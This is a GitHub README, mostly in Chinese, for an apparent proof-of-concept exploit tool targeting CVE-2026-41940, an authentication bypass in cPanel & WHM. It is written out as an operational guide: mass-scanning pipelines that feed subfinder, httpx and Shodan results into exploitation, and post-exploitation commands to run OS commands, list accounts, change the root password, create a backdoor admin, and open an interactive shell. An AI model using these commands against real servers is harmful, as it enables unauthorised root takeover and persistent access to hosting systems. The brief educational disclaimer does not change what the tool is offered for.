soverineg/cve-2026-41940-PoC
GitHub: soverineg/cve-2026-41940-PoC
针对 cPanel & WHM CVE-2026-41940 身份验证绕过漏洞的 PoC 利用工具,支持批量扫描、后渗透操作与交互式 Shell。
Stars: 0 | Forks: 0
# CVE-2026-41940
## 描述
这是一个用于利用 CVE-2026-41940 漏洞的工具。该漏洞是 cPanel & WHM 中的一个严重身份验证绕过漏洞(CVSS 10.0),允许未经身份验证的攻击者通过 Authorization 头向服务端 session 文件注入 CRLF 序列,从而获取 root 级别的 WHM 访问权限——且无需任何凭证。
## 工作原理
笼统地说,CVE-2026-41940 的利用源于 cPanel/WHM 系统在处理身份验证 session 时的机制失效。攻击通常从向登录界面发送的正常请求开始,在该阶段,应用程序在完全验证用户凭证之前就过早地初始化了 session。由于对 session 相关输入的处理不当,某些精心构造或非预期的输入结构能够改变服务器存储或解析 session 数据的方式。
## 受影响版本
| 版本 | 存在漏洞 | 已修复 |
|--------|-----------|---------|
| 110.x | ≤ 11.110.0.96 | **11.110.0.97** |
| 118.x | ≤ 11.118.0.62 | **11.118.0.63** |
| 126.x | ≤ 11.126.0.53 | **11.126.0.54** |
| 132.x | ≤ 11.132.0.28 | **11.132.0.29** |
| 134.x | ≤ 11.134.0.19 | **11.134.0.20** |
| 136.x | ≤ 11.136.0.4 | **11.136.0.5** |
## 安装说明 (Windows/Mac OS)🔄
```
git clone https://github.com/soverineg/cve-2026-41940-PoC
cd cve-2026-41940-PoC
# Windows
python exp.py
# MacOS/Linux
python3 exp.py
```
# 使用说明
该工具需要指定一个目标域名。
单目标模式:
```
python exp.py -u https://target1.com:2083
```
你也可以通过 `target.txt` 文件进行扫描(需自行创建该文件):
```
python exp.py -l target.txt -t 50 -o result.json
```
## 基础扫描:
可用命令:
```
python exp.py -u https://victim1.com:2083 # single target scan
python exp.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python exp.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
```
# 后渗透操作
```
# 列出服务器上的所有账户
python exp.py list -u https://target.com:2087
# OS command
python exp.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python exp.py cmd -u https://target.com:2087 --cmd "ls /home"
# 获取服务器信息(hostname、disk、MySQL host)
python exp.py info -u https://target.com:2087
# 更改 root 密码
python exp.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# 交互式 WHM shell
python exp.py shell -u https://target.com:2087
```
# Pipelines
```
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python exp.py scan -t 40 -o results.json
# 从 scope list
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python exp.py scan -t 30 -o results.json
# Shodan 结果
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python exp.py -t 30 -o shodan_results.json
# 多个来源组合
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python exp.py -t 20 --action list
```
# WHM Shell 模式
成功利用后,你可以开启一个交互式的 WHM shell:
```
python exp.py shell -u
```
### 所有 Shell 命令
| 命令 | 描述 |
|---------|-------------|
| `id` | 显示用户 ID |
| `hostname` | 获取服务器主机名 |
| `accounts` | 列出所有用户账户 |
| `info` | 负载、磁盘、MySQL 主机、版本信息 |
| `cat ` | 读取文件内容 |
| `exec ` | 执行 OS 命令 |
| `newadmin ` | 创建后门 WHM 管理员 |
| `passwd ` | 修改 root 密码 |
| `l [path]` | 列出目录 |
| `help` | 显示所有命令 |
| `exit` | 退出 Shell 模式 |
# CLI 参考
```
usage: exp.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
```
# 免责声明
**⚠ 本工具仅供教育或漏洞赏金目的使用。严禁在受控环境之外未经授权使用。**
标签:CISA项目, PoC, Python, StruQ, 威胁模拟, 无后门, 无服务器架构, 暴力破解, 身份认证绕过, 逆向工具